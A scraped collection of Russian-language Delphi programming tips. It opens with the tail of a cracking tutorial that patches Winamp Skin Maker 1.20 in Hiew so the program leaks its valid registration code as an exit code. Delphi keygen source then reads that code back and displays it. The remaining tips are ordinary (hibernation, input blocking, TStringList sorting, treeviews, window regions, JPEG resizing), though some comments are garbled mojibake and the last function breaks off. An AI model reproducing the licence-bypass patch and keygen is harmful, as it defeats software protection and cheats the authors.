016F:00406DED      JNZ       00406E24
А EBX мы последний раз меняли ещё в первом случае! Теперь остаётся "всего-то" узнать значение EBX программным способом для Skinner.exe в момент сравнения кодов :)! Я видел где-то старый некрасивый способ, который предполагает спровоцировать сбой, Windows 95/98 покажет вам табличку с регистрами и сообщением об ошибке. Потом надо взять значение EBX , перевести в десят. систему и это будет код. Нудно, некрасиво, и не работает под другими ОС. Я нашел способ, который проще и лучше. На это I've spent 24 hours. Мне всегда нравилась функция ExitProcess(ExitCode:Cardinal). Говорят, что под Win X в ExitCode можно ставить любое число. Пишем свой код после: (using Hiew)
016F:00406D97 CALL      00407E30 
016F:00406D9C      ADD       ESP,04
push eax
call Kernel32!ExitProcess

это ассемблируется до: 50+FF1548244300, причем второе я подсмотрел в Imported Functions в W32Dasm, а 1-е написал сам Hiew. Ну что, теперь программа по нажатию О.К. просто закрывается. Надо как-нибудь получить то, что она передаёт из EAX. Воспользуемся Delphi 6. Sources:
program Project1;
uses Windows, SysUtils, Messages; //необходимый миниму>
{$APPTYPE GUI} //У нас Gui-приложение>
{$R Icon.res} //иконку возьме>
{$R Dlg.res} //и диалог тож>
var
  rc: Cardinal; //код на>
  StartupInfo: TStartupInfo; //необ. с>
  ProcessInfo: TProcessInformation; //необ. с>
procedure StartProcess(hWnd: THandle); //процедура наш>
begin
  rc := 0;
  FillChar(StartupInfo, Sizeof(StartupInfo), #0); //заполняем с>
  StartupInfo.cb := Sizeof(StartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow := SW_SHOWDEFAULT;
  CreateProcess(nil, Pchar('WSV1.20.KG.exe'), nil, nil, false,
    NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo); //создаем процес>
  WaitforSingleObject(ProcessInfo.hProcess, INFINITE); //ждем завершени>
  GetExitCodeProcess(ProcessInfo.hProcess, rc); //получаем ко>
  if rc&lt;
  &gt;
  0 then
  begin
    SetDlgItemText(hWnd, 108, Pchar(IntToStr(rc)));
    SetDlgItemText(hWnd, 0, Pchar('Here is your Reg.#: '));
  end
  else //если кто-то не может ввести свое имя, то..>
    SetDlgItemText(hWnd, 108, Pchar('Incorrect name.'));
end;
function DialogProc(hWnd: THandle; Msg: Integer; wParam, lParam: Integer): Bool;
  stdcall;
begin
  if Msg = WM_INITDIALOG then
    RESULT := true //нужно для создания диалог>
  else if Msg = WM_CLOSE then
    ExitProcess(0) //если нас захотят закрыт>
  else if (Msg = WM_COMMAND) and (Wparam = 106) then //если нажали нашу кнопк>
  begin
    ShowWindow(hWnd, SW_Hide);
    StartProcess(hWnd);
    ShowWindow(hWnd, SW_Show);
  end
  else
    Result := false;
end;
//===========Не знаю зачем я это сделал================/>
procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer);
  stdcall;
  external 'user32.dll' name 'MessageBoxA';
//=====================//
begin
  //А это официальное начало программы :-)>
  DialogBoxParam(GetModuleHandle(nil), PChar('DIALOG_0'), 0, @DialogProc, 0);
end.
Файл ресурсов:
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  * * * * *
file: D: \SLAVAPROJECTS\DELPHI\SK_KG\DLG.RC
Generated by Resource Builder 1.0.
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  * * * * /
// Below are important 3 lines, don't change them!
/ *
OutputExt = RES
* /
DIALOG_0 DIALOG 127, 65, 180, 86
STYLE DS_ABSALIGN | DS_MODALFRAME | WS_VISIBLE | WS_SYSMENU | WS_MINIMIZEBOX |
  WS_POPUP |WS_CAPTION |WS_BORDER |WS_DLGFRAME
CAPTION &quot;
KeyGen for Winamp Skin Maker 1.20 &quot;
FONT 8, &quot;
MS Sans Serif&quot;
LANGUAGE LANG_NEUTRAL, 0
begin
  CONTROL &quot;
  Start generating - &gt;
  &gt;
  &quot;
  , 106, &quot;
  BUTTON&quot;
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 7, 62, 165, 20
    CONTROL &quot;
Crack - type
  : KeyGen Author: wersion E - mail: wcrkgroup2002@mail.ru &quot;
  , 65535, &quot;
  STATIC&quot;
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 10, 7, 159, 26
    CONTROL &quot;
  &quot;
  , 108, &quot;
  EDIT&quot;
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP|WS_BORDER, 92, 43, 83, 12
    CONTROL &quot;
  Here will be your Reg.#0&quot;
  , 65536, &quot;
  STATIC&quot;
  , BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 11, 44, 75, 10
end
Все! Сие приложение занимает 40 кб, упакованное UРХ"ом 20 кб. да, а нам нужен ещё и исходный Exe-file(388 кб - написано на MSVC). дабы уменьшить его размер, произведём следующие изменения. дойдём до окна About, затем поставим брейкпоинт на DialogBoxParamA Жмем Register и попадаем в SoftIce, жмем F12.
016F:00406B8E    JNZ       004068A6                        
016F:00406B94     MOV       ESI,[ESP+78]                      
                                
016F:00406B9A   PUSH      00406D00                           
016F:00406B9F    MOV       EAX,[0042FB70]                     
016F:00406BA4   PUSH      ESI                                
016F:00406BA5   PUSH      0000008A                           
016F:00406BAA  PUSH      EAX                                
016F:00406BAB  CALL      [USER32!DialogBoxParamA]
Хорошо бы с самого начала прыгнуть на Но пусть программа сделает все свои дела, подгрузит ресурсы и т.д., а потом уж и покажет диалог. Найдем call, который показывает основное окно. для этого загрузим программу в SymBol Loader. Будем заходить по F8 во все саll'ы, после которых происходит показ окна, пока не дойдем до конечного, который занимается CreateWindowExA и т.д. Вот он:
  50                  PUSH      EAX
016F:00401D14  56                  PUSH      ESI                                
016F:00401D15  E8B6010000          CALL      00401ED0
С адреса впишем прыжок на . (A) вы уже сделали. Теперь подредактируйте сей диалог в Skinner.exe. А потом вырежьте все ненужные ресурсы окромя иконок и его. Упакуйте все WinRаr"ом. Вот мой скрипт.
Setup=Start.exe 
Silent=1
Overwrite=1
TempMode
Эпилог Итак, что мы получили? Кейген в 120 кб. Учитывая, что он содержит ориг. программу, а сам написан на Delphi, то это неплохо. Чему мы научились? Рационально работать. Первыми(я, по крайней мере) сделали кейген к этой программе. Created by Wersion. 11/10/02. E-mail: wcrkgroup2002@mail.ru Вопросы/пожелания/угрозы - приветствуются.

Переход в Спящий режим (WinNT).

Автор: DeMoN-777 WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Переход в Спящий режим (WinNT)
Зависимости: Windows, system
Автор:       DeMoN-777, DeMoN-777@yandex.ru, ICQ:169281983, Санкт-Петербург
Copyright:   @
Дата:        21 сентября 2002 г.
***************************************************** }
procedure NTSleep;
var
  hToken: THandle;
  tkp: TTokenPrivileges;
  ReturnLength: Cardinal;
begin
  if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or
    TOKEN_QUERY, hToken) then
  begin
    LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
    tkp.PrivilegeCount := 1; // one privelege to set
    tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    if AdjustTokenPrivileges(hToken, False, tkp, 0, nil, ReturnLength) then
      SetSystemPowerState(true, true);
  end;
end;

Пропускать сообщения от клавиатуры и мышки в своем приложении.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 Connect a handler to the Application.OnMessage event. 
 You have to do this in code: 
}
   private
     procedure AppOnMessage(var Msg: TMsg; var Handled: Boolean);
     { Private declarations }
   public
     { Public declarations }
   end;
    var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 var
   FConnected: Boolean;
 procedure TForm1.AppOnMessage(var Msg: TMsg; var Handled: Boolean);
 begin
   if FConnected then
     case Msg.Message of
       WM_KEYFIRST..WM_KEYLAST,     // Keyboard events 
      WM_MOUSEFIRST..WM_MOUSELAST: // Mouse events 
        Handled := True
     end;
 end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnMessage := AppOnMessage;
 end;
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   Application.OnMessage := nil;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   FConnected := True;
 end;

Очень медленный доступ к таблице при первом обращении.

Данная проблема возникает из-за того, что BDE вначале запрашивает базу данных для получения информации о таблице, прежде чем он начнет с ней работать. Как только появляется информация о таблице, она кэшируется и обращение к таблице во время всего сеанса (пока TDatabase.Connection имеет значение True) происходит практически мгновенно. Для того, чтобы использовать кэшируемую информацию и при последующем запуске приложения, в конфигурации BDE найдите необходимый псевдоним и установите BDE CACHE = TRUE и BDE CACHE DIR = 'C:\temp' или любой другой удобный каталог.

ПРИМЕЧАНИЕ:При любом изменении структуры таблицы Вам придется удалять кэш вручную. Имя файла, в котором хранится кэш, Вы можете узнать, посмотрев в любом текстовом редакторе файл SCache.INI.

Получить путь к выделенному файлу в TShellListView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// These two solutions don't work: 
// Diese zwei Losungen funktionieren nicht wie erwartet: 
{ 1. }
 Label1.Caption := TShellFolder(ShellListView1.RootFolder).PathName;
 { 2. }
 var
   p: TPoint;
   item: TListItem;
 begin
   GetCursorPos(p);
   p := ShellListView1.ScreenToClient(p);
   item := ShellListView1.GetItemAt(p.X, p.Y);
   if item <> nil then
     Caption := item.Caption
 end;
 // But this works: 
// Aber so geht's: 
Label1.Caption := ShellListView1.Folders[ShellListView1.ItemIndex].PathName
 {**************************************************************}
 { 
  To retrieve full paths to each file selected files: 
}
 var
   path: string;
 begin
   for i:=0 to ShellListView1.SelCount-1 do
   begin
     path := ShellListView1.Folders[ShellListView1.GetNextItem(ShellListView1.Selected,
               sdAll,[isSelected]).Index+i-1].PathName;
     // ... 
  end;
 end

Сортировать TStringList своим методом сортировки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Suppose you have a TListBox containing some date values. 
  If you want to sort the dates by setting the "Sorted" 
  property to "True" you will see that the dates are not sorted correctly: 
  12.03.2003 
  13.03.2003 
  29.01.2003 
  30.03.2003 
  Now what you can do is to is create a TStringlist, Assign the listbox.Items 
  property to it, sort the stringlist using CustomSort, 
  then Assign it back to listbox.items. 
}
 { 
  Angenommen du hast eine TListBox, welche verschiedene Daten enthalt. 
  Wenn man nun die Liste sortiert haben mochte, kann man die Eigenschaft 
  "Sorted" auf "True" stellen. 
  Man wird aber feststellen, dass die Daten nicht korrekt sortiert werden. 
  12.03.2003 
  13.03.2003 
  29.01.2003 
  30.03.2003 
  Wenn man nun eine TStringlist erstellt und ihr die Listbox.Items zuweist, 
  kann man die StringListe mit einer CustomSort Methode sortieren und 
  dann den Listbox.Items wieder die Items der StringListe zuweisen. 
}
 function CompareDates(List: TStringList; Index1, Index2: Integer): Integer;
 var
   d1, d2: TDateTime;
 begin
   d1 := StrToDate(List[Index1]);
   d2 := StrToDate(List[Index2]);
   if d1 < d2 then
     Result := -1
   else if d1 > d2 then Result := 1
   else
     Result := 0;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   sl: TStringList;
 begin
   sl := TStringList.Create;
   try
     // listbox1.Sorted := False ! 
    sl.Assign(listbox1.Items);
     sl.CustomSort(CompareDates);
     listbox1.Items.Assign(sl);
   finally
     sl.Free
   end;
 end;
 end.
 {********************************************************************}
 { To sort Integer values:}
 function CompareInt(List: TStringList; Index1, Index2: Integer): Integer;
 var
   d1, d2: Integer;
   r1, r2: Boolean;
   function IsInt(AString : string; var AInteger : Integer): Boolean;
   var
     Code: Integer;
   begin
     Val(AString, AInteger, Code);
     Result := (Code = 0);
   end;
 begin
   r1 :=  IsInt(List[Index1], d1);
   r2 :=  IsInt(List[Index2], d2);
   Result := ord(r1 or r2);
   if Result <> 0 then
   begin
     if d1 < d2 then
       Result := -1
     else if d1 > d2 then
       Result := 1
     else
      Result := 0;
   end else
    Result := lstrcmp(PChar(List[Index1]), PChar(List[Index2]));
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   sl: TStringList;
 begin
   sl := TStringList.Create;
   try
     // listbox1.Sorted := False; 
    sl.Assign(listbox1.Items);
     sl.CustomSort(CompareInt);
     listbox1.Items.Assign(sl);
   finally
     sl.Free;
   end;
 end;

TStringList. Сортировка и системная locale.

Автор: Alexander Ilyin.

При разработке CGI-программы, отображающей иерархическую структуру в виде дерева, возникла следующая проблема: под административным логином все работало правильно, под другим - ветки дерева перемешивались.

Оказалось, дело в текущем locale. Так работает сортированный TStringList, использованный для хранения структур отображаемых данных. Дело в том, что там для упорядочивания элементов списка по ключам использована функция AnsiCompareText (а не AnsiCompareStr, как указано в хелпе).

ТИПОВЫЕ РЕШЕНИЯ. В ранних версиях Дельфи это поведение изменить можно, только переписав часть модуля Classes. В 5-й версии Борланд добавил к TStringList метод CustomSort (работающий, когда Sorted = False), который позволяет решить проблему путем подстановки своей функции сравнения строк. Сделать класс TStrList, в котором для упорядочивания использовать простую CompareStr. КОММЕНТАРИЙ

Действительно, в справке Delphi по TStringList указано, что для сортировки используется AnsiCompareStr, и порядок сортировки зависит от текущей локали во время работы программы. Анализ текста Classes.pas показывает, что все операции сравнения строк в списках (при сортировке по-умолчанию, при поиске, а также при IndexOf) производятся при помощи AnsiCompareText. Последняя отличается от AnsiCompareStr тем, что выполняет сравнение без учета регистра символов, и, следовательно, результат иным образом зависит от текущей локали.

Перевод списка файлов и каталогов из TStringList в TreeView с построением дерева каталогов.

Автор: Радионов Алексей WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Перевод списка файлов/каталогов из TStringList в
TreeView с построением "дерева каталогов"
Иногда бывает нужно построить "дерево каталогов" по
заданному списку файлов и папок (причем физически
эти файлы и каталоги могут не существовать).
Представляемый здесь код занимается именно этим.
Зависимости: sysutils, classes, comctrls
Автор:       Радионов Алексей (Alx2), alx@argo.mv.ru, ICQ:113442587, Ульяновск
Copyright:   Alx2
Дата:        3 июля 2002 г.
***************************************************** }
procedure FillTreeViewWithFiles(TreeView1: TTreeView; Strs: TStringList);
var
  CachedStrs: TStringList; // CachedStrs вводится для ускорения поиска
  // в уже готовом дереве.
  procedure AddItem(Lev: Integer; ParentNode: TTreeNode; S: string);
    function FindNodeWithText(AParent: TTreeNode; const S: string): TTreeNode;
    var
      K: Integer;
      fStr: string;
      tmpNode: TTreeNode;
    begin
      Result := nil;
      fStr := S + IntToStr(Integer(AParent));
      K := CachedStrs.IndexOf(fStr);
      if K > -1 then
        Result := Pointer(CachedStrs.Objects[K])
      else
      begin
        if AParent <> nil then
          tmpNode := AParent.getFirstChild
        else
          tmpNode := TreeView1.Items.GetFirstNode;
        while tmpNode <> nil do
        begin
          if tmpNode.Text = S then
          begin
            Result := tmpNode;
            CachedStrs.AddObject(fStr, Pointer(tmpNode));
            break;
          end;
          tmpNode := tmpNode.getNextSibling;
        end;
      end
    end;
  var
    prefix: string;
    ID: Integer;
    aNode: TTreeNode;
  begin
    if S = '' then
      Exit;
    ID := Pos('\', S);
    prefix := '';
    if ID > 0 then
      prefix := Copy(S, 1, ID - 1)
    else
    begin
      prefix := S;
      S := '';
    end;
    aNode := FindNodeWithText(ParentNode, prefix);
    if aNode = nil then
    begin
      aNode := TreeView1.Items.AddChild(ParentNode, prefix);
    end;
    AddItem(Lev + 1, aNode, Copy(S, ID + 1, Length(S)));
  end;
var
  K: Integer;
begin
  CachedStrs := TStringList.Create;
  CachedStrs.Duplicates := dupIgnore;
  CachedStrs.Sorted := True;
  try
    TreeView1.Items.BeginUpdate;
    TreeView1.SortType := stNone;
    for K := 0 to Strs.Count - 1 do
      AddItem(0, nil, Strs[K]);
  finally
    TreeView1.Items.EndUpdate;
    CachedStrs.Free;
  end;
end;

Пример использования:

// Построим, например, "дерево каталогов" по трем файлам:
procedure TForm1.Button1Click(Sender: TObject);
var
  Strs: TStringList;
begin
  Strs := TStringList.Create;
  try
    Strs.Add('D:\Program Files\Borland\Delphi6\Source\Vcl\Printers.dcu');
    Strs.Add('D:\Program Files\Borland\Delphi6\Source\Vcl\WinHelp.dcu');
    Strs.Add('C:\WINNTS\system\BORLNDMM.DLL');
    FillTreeViewWithFiles(TreeView1, Strs);
  finally
    Strs.Free;
  end;
end;

Создание уменьшенной копии картинки.

Собрались программисты на перекур. Сидят они и битые полчаса говорят о компьютерах. Тут кто-то из них восклицает: - Ребята, что мы всё о компьютерах, да о компьютерах... Давайте лучше поговорим о женщинах! - Точно! Давайте! Вот я вчера такие гифы с бабами скачал!..
// Muito bom para se usar como Skins...
unit ProjetoX_Screen;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, DBCtrls;
type
  TFormScreen = class(TForm)
    ImgFundo: TImage;
    procedure FormCreate(Sender: TObject);
  public
    { Public declarations }
    MyRegion : HRGN;
    function BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
  end;
var
  FormScreen: TFormScreen;
implementation
{$R *.DFM}
{===========================molda o formato do fогmи1Ягiо no bitmap}
function TFormScreen.BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
const
  ALLOC_UNIT = 100;
var
  MemDC, DC: HDC;
  BitmapInfo: TBitmapInfo;
  hbm32, holdBmp, holdMemBmp: HBitmap;
  pbits32 : Pointer;
  bm32 : BITMAP;
  maxRects: DWORD;
  hData: HGLOBAL;
  pData: PRgnData;
  b, CR, CG, CB : Byte;
  p32: pByte;
  x, x0, y: integer;
  p: pLongInt;
  pr: PRect;
  h: HRGN;
begin
  Result := 0;
  if hBmp <> nil then
  begin
    { Cria um Device Context onde sегЯ armazenado o Bitmap }
    MemDC := CreateCompatibleDC(0);
    if MemDC <> 0 then
    begin
     { Cria um Bitmap de 32 bits sem соmргеssТо }
      with BitmapInfo.bmiHeader do
      begin
        biSize          := sizeof(TBitmapInfoHeader);
        biWidth         := hBmp.Width;
        biHeight        := hBmp.Height;
        biPlanes        := 1;
        biBitCount      := 32;
        biCompression   := BI_RGB;
        biSizeImage     := 0;
        biXPelsPerMeter := 0;
        biYPelsPerMeter := 0;
        biClrUsed       := 0;
        biClrImportant  := 0;
      end;
      hbm32 := CreateDIBSection(MemDC, BitmapInfo, DIB_RGB_COLORS, pbits32,0, 0);
      if hbm32 <> 0 then
      begin
        holdMemBmp := SelectObject(MemDC, hbm32);
        {
          Calcula quantos bytes por linha o bitmap de 32 bits ocupa.
        }
        GetObject(hbm32, SizeOf(bm32), @bm32);
        while (bm32.bmWidthBytes mod 4) > 0 do
          inc(bm32.bmWidthBytes);
        DC := CreateCompatibleDC(MemDC);
        { Copia o bitmap para o Device Context }
        holdBmp := SelectObject(DC, hBmp.Handle);
        BitBlt(MemDC, 0, 0, hBmp.Width, hBmp.Height, DC, 0, 0, SRCCOPY);
        {
          Para melhor performance, sегЯ utilizada a fиnюТо ExtCreasteRegion
          para criar o HRGN. Esta fиnюТо recebe uma estrutura RGNDATA.
          Cada estrutura tегЯ 100 геtФngи1оs por раdгТо (ALLOC_UNIT)
        }
        maxRects := ALLOC_UNIT;
        hData := GlobalAlloc(GMEM_MOVEABLE, sizeof(TRgnDataHeader) +
           SizeOf(TRect) * maxRects);
        pData := GlobalLock(hData);
        pData^.rdh.dwSize := SizeOf(TRgnDataHeader);
        pData^.rdh.iType := RDH_RECTANGLES;
        pData^.rdh.nCount := 0;
        pData^.rdh.nRgnSize := 0;
        SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
        { Separa o pixel em suas cores fundamentais }
        CR := GetRValue(ColorToRGB(TransColor));
        CG := GetGValue(ColorToRGB(TransColor));
        CB := GetBValue(ColorToRGB(TransColor));
        {
          Processa os pixels bitmap de baixo para cima, jЯ que bitmaps sТо
          verticalmente invertidos.
        }
        p32 := bm32.bmBits;
        inc(PChar(p32), (bm32.bmHeight - 1) * bm32.bmWidthBytes);
        for y := 0 to hBmp.Height-1 do
        begin
          { Processa os pixels do bitmap da esquerda para a direita }
          x := -1;
          while x+1 < hBmp.Width do
          begin
            inc(x);
            { Procura por uma faixa соntЭnиа de pixels nТо transparentes }
            x0 := x;
            p := PLongInt(p32);
            inc(PChar(p), x * SizeOf(LongInt));
            while x < hBmp.Width do
            begin
              b := GetBValue(p^);
              if (b = CR) then
              begin
                b := GetGValue(p^);
                if (b = CG) then
                begin
                  b := GetRValue(p^);
                  if (b = CB) then
                    break;
                end;
              end;
              inc(PChar(p), SizeOf(LongInt));
              inc(x);
            end;
            if x > x0 then
            begin
              {
                Adiciona o intervalo de pixels [(x0, y),(x, y+1)] como um novo
                геtФngи1о na геgiТо.
              }
              if pData^.rdh.nCount >= maxRects then
              begin
                GlobalUnlock(hData);
                inc(maxRects, ALLOC_UNIT);
                hData := GlobalReAlloc(hData, SizeOf(TRgnDataHeader) +
                   SizeOf(TRect) * maxRects, GMEM_MOVEABLE);
                pData := GlobalLock(hData);
                Assert(pData <> NIL);
              end;
              pr := @pData^.Buffer[pData^.rdh.nCount * SizeOf(TRect)];
              SetRect(pr^, x0, y, x, y+1);
              if x0 < pData^.rdh.rcBound.Left then
                pData^.rdh.rcBound.Left := x0;
              if y < pData^.rdh.rcBound.Top then
                pData^.rdh.rcBound.Top := y;
              if x > pData^.rdh.rcBound.Right then
                pData^.rdh.rcBound.Left := x;
              if y+1 > pData^.rdh.rcBound.Bottom then
                pData^.rdh.rcBound.Bottom := y+1;
              inc(pData^.rdh.nCount);
              {
               No Windows98, a fиnюТо ExtCreateRegion() pode falhar se o n·mero
               de геtФngи1оs for maior que 4000. Por este motivo, a геgiТо deve
               ser criada por partes com menos de 4000 геtФngи1оs. Neste caso, foram
               padronizadas regi§es com 2000 геtФngи1оs.
              }
              if pData^.rdh.nCount = 2000 then
              begin
                h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
                   (SizeOf(TRect) * maxRects), pData^);
                Assert(h <> 0);
               { Combina a геgiТо parcial, гесЪm criada, com as anteriores }
                if Result <> 0 then
                begin
                  CombineRgn(Result, Result, h, RGN_OR);
                  DeleteObject(h);
                end else
                  Result := h;
                pData^.rdh.nCount := 0;
                SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
              end;
            end;
          end;
          Dec(PChar(p32), bm32.bmWidthBytes);
        end;
        { Cria a геgiТо geral }
        h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
           (SizeOf(TRect) * maxRects), pData^);
        Assert(h <> 0);
        if Result <> 0 then
        begin
          CombineRgn(Result, Result, h, RGN_OR);
          DeleteObject(h);
        end else
          Result := h;
        { Com a геgiТо final completa, o bitmap de 32 bits pode ser
          removido da mem¾ria, com todos os outros ponteiros que foram criados.}
        GlobalFree(hData);
        SelectObject(DC, holdBmp);
        DeleteDC(DC);
        DeleteObject(SelectObject(MemDC, holdMemBmp));
      end;
    end;
    DeleteDC(MemDC);
  end;
end;
procedure TFormScreen.FormCreate(Sender: TObject);
begin
{carregue uma imagem na TImage ImgFundo}
{redesenha o formulario no formato do ImgFundo}
        MyRegion := BitmapToRegion(imgFundo.Picture.Bitmap,imgFundo.Canvas.Pixels[0,0]);
        SetWindowRgn(Handle,MyRegion,True);
end;
Para os outros fогmи1Ягiоs basta declarar as seguintes linhas na procedure FormCreate
procedure TFormXXXXXX.FormCreate(Sender: TObject);
begin
{carregue uma imagem na TImage ImgFundo}
{redesenha o formulario no formato do ImgFundo}
        FormScreen.MyRegion := FormScreen.BitmapToRegion(imgFundo.Picture.Bitmap,
          imgFundo.Canvas.Pixels[0,0]);
        SetWindowRgn(Handle,FormScreen.MyRegion,True);
end;

Написать очень маленький инсталлятор.

Статьи по Delphi (016)…

Я тебя инстальнул - я тебя и убью!

Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.

Application.Initialize;
if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then
  // форма инсталлятора
  Application.CreateForm(TSetupForm, SetupForm)
else
  // форма основной программы
  Application.CreateForm(TMainForm, MainForm);
Application.Run;

Вполне очевидно, что вместо переименования можно запускать программу с различными ключами, например /INSTALL и /UNINSTALL. Я очень часто пользуюсь таким приемом, особенно в тех случаях, когда проект состоит из одного файла.

Сглажено изменять размер JPEG.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Before importing an image (jpg) into a database, 
  I would like to resize it (reduce its size) and 
  generate the corresponding smaller file. How can I do this? 
  Load the JPEG into a bitmap, create a new bitmap 
  of the size that you want and pass them both into 
  SmoothResize then save it again ... 
  there's a neat routine JPEGDimensions that 
  gets the JPEG dimensions without actually loading the JPEG into a bitmap, 
  saves loads of time if you only need to test its size before resizing. 
}
 uses
   JPEG;
 type
   TRGBArray = array[Word] of TRGBTriple;
   pRGBArray = ^TRGBArray;
 {--------------------------------------------------------------------------- 
-----------------------}
 procedure SmoothResize(Src, Dst: TBitmap);
 var
   x, y: Integer;
   xP, yP: Integer;
   xP2, yP2: Integer;
   SrcLine1, SrcLine2: pRGBArray;
   t3: Integer;
   z, z2, iz2: Integer;
   DstLine: pRGBArray;
   DstGap: Integer;
   w1, w2, w3, w4: Integer;
 begin
   Src.PixelFormat := pf24Bit;
   Dst.PixelFormat := pf24Bit;
   if (Src.Width = Dst.Width) and (Src.Height = Dst.Height) then
     Dst.Assign(Src)
   else
   begin
     DstLine := Dst.ScanLine[0];
     DstGap  := Integer(Dst.ScanLine[1]) - Integer(DstLine);
     xP2 := MulDiv(pred(Src.Width), $10000, Dst.Width);
     yP2 := MulDiv(pred(Src.Height), $10000, Dst.Height);
     yP  := 0;
     for y := 0 to pred(Dst.Height) do
     begin
       xP := 0;
       SrcLine1 := Src.ScanLine[yP shr 16];
       if (yP shr 16 < pred(Src.Height)) then
         SrcLine2 := Src.ScanLine[succ(yP shr 16)]
       else
         SrcLine2 := Src.ScanLine[yP shr 16];
       z2  := succ(yP and $FFFF);
       iz2 := succ((not yp) and $FFFF);
       for x := 0 to pred(Dst.Width) do
       begin
         t3 := xP shr 16;
         z  := xP and $FFFF;
         w2 := MulDiv(z, iz2, $10000);
         w1 := iz2 - w2;
         w4 := MulDiv(z, z2, $10000);
         w3 := z2 - w4;
         DstLine[x].rgbtRed := (SrcLine1[t3].rgbtRed * w1 +
           SrcLine1[t3 + 1].rgbtRed * w2 +
           SrcLine2[t3].rgbtRed * w3 + SrcLine2[t3 + 1].rgbtRed * w4) shr 16;
         DstLine[x].rgbtGreen :=
           (SrcLine1[t3].rgbtGreen * w1 + SrcLine1[t3 + 1].rgbtGreen * w2 +
           SrcLine2[t3].rgbtGreen * w3 + SrcLine2[t3 + 1].rgbtGreen * w4) shr 16;
         DstLine[x].rgbtBlue := (SrcLine1[t3].rgbtBlue * w1 +
           SrcLine1[t3 + 1].rgbtBlue * w2 +
           SrcLine2[t3].rgbtBlue * w3 +
           SrcLine2[t3 + 1].rgbtBlue * w4) shr 16;
         Inc(xP, xP2);
       end; {for}
       Inc(yP, yP2);
       DstLine := pRGBArray(Integer(DstLine) + DstGap);
     end; {for}
   end; {if}
 end; {SmoothResize}
 {--------------------------------------------------------------------------- 
-----------------------}
 function LoadJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string): Boolean;
 var
   JPEGImage: TJPEGImage;
 begin
   if (FileName = '') then    // No FileName so nothing 
    Result := False  //to load - return False... 
  else
   begin
     try  // Start of try except 
      JPEGImage := TJPEGImage.Create;  // Create the JPEG image... try  // now 
      try  // to load the file but 
        JPEGImage.LoadFromFile(FilePath + FileName);
         // might fail...with an Exception. 
        Bitmap.Assign(JPEGImage);
         // Assign the image to our bitmap.Result := True; 
        // Got it so return True. 
      finally
         JPEGImage.Free;  // ...must get rid of the JPEG image. finally 
      end; {try}
     except
       Result := False; // Oops...never Loaded, so return False. 
    end; {try}
   end; {if}
 end; {LoadJPEGPictureFile}
 {--------------------------------------------------------------------------- 
-----------------------}
 function SaveJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string;
   Quality: Integer): Boolean;
 begin
   Result := True;
   try
     if ForceDirectories(FilePath) then
     begin
       with TJPegImage.Create do
       begin
         try
           Assign(Bitmap);
           CompressionQuality := Quality;
           SaveToFile(FilePath + FileName);
         finally
           Free;
         end; {try}
       end; {with}
     end; {if}
   except
     raise;
     Result := False;
   end; {try}
 end; {SaveJPEGPictureFile}
 {--------------------------------------------------------------------------- 
-----------------------}
 procedure ResizeImage(FileName: string; MaxWidth: Integer);
 var
   OldBitmap: TBitmap;
   NewBitmap: TBitmap;
   aWidth: Integer;
 begin
   OldBitmap := TBitmap.Create;
   try
     if LoadJPEGPictureFile(OldBitmap, ExtractFilePath(FileName),
       ExtractFileName(FileName)) then
     begin
       aWidth := OldBitmap.Width;
       if (OldBitmap.Width > MaxWidth) then
       begin
         aWidth    := MaxWidth;
         NewBitmap := TBitmap.Create;
         try
           NewBitmap.Width  := MaxWidth;
           NewBitmap.Height := MulDiv(MaxWidth, OldBitmap.Height, OldBitmap.Width);
           SmoothResize(OldBitmap, NewBitmap);
           RenameFile(FileName, ChangeFileExt(FileName, '.$$$'));
           if SaveJPEGPictureFile(NewBitmap, ExtractFilePath(FileName),
             ExtractFileName(FileName), 75) then
             DeleteFile(ChangeFileExt(FileName, '.$$$'))
           else
             RenameFile(ChangeFileExt(FileName, '.$$$'), FileName);
         finally
           NewBitmap.Free;
         end; {try}
       end; {if}
     end; {if}
   finally
     OldBitmap.Free;
   end; {try}
 end;
 {--------------------------------------------------------------------------- 
-----------------------}
 function JPEGDimensions(Filename : string; var X, Y : Word) : boolean;
 var
   SegmentPos : Integer;
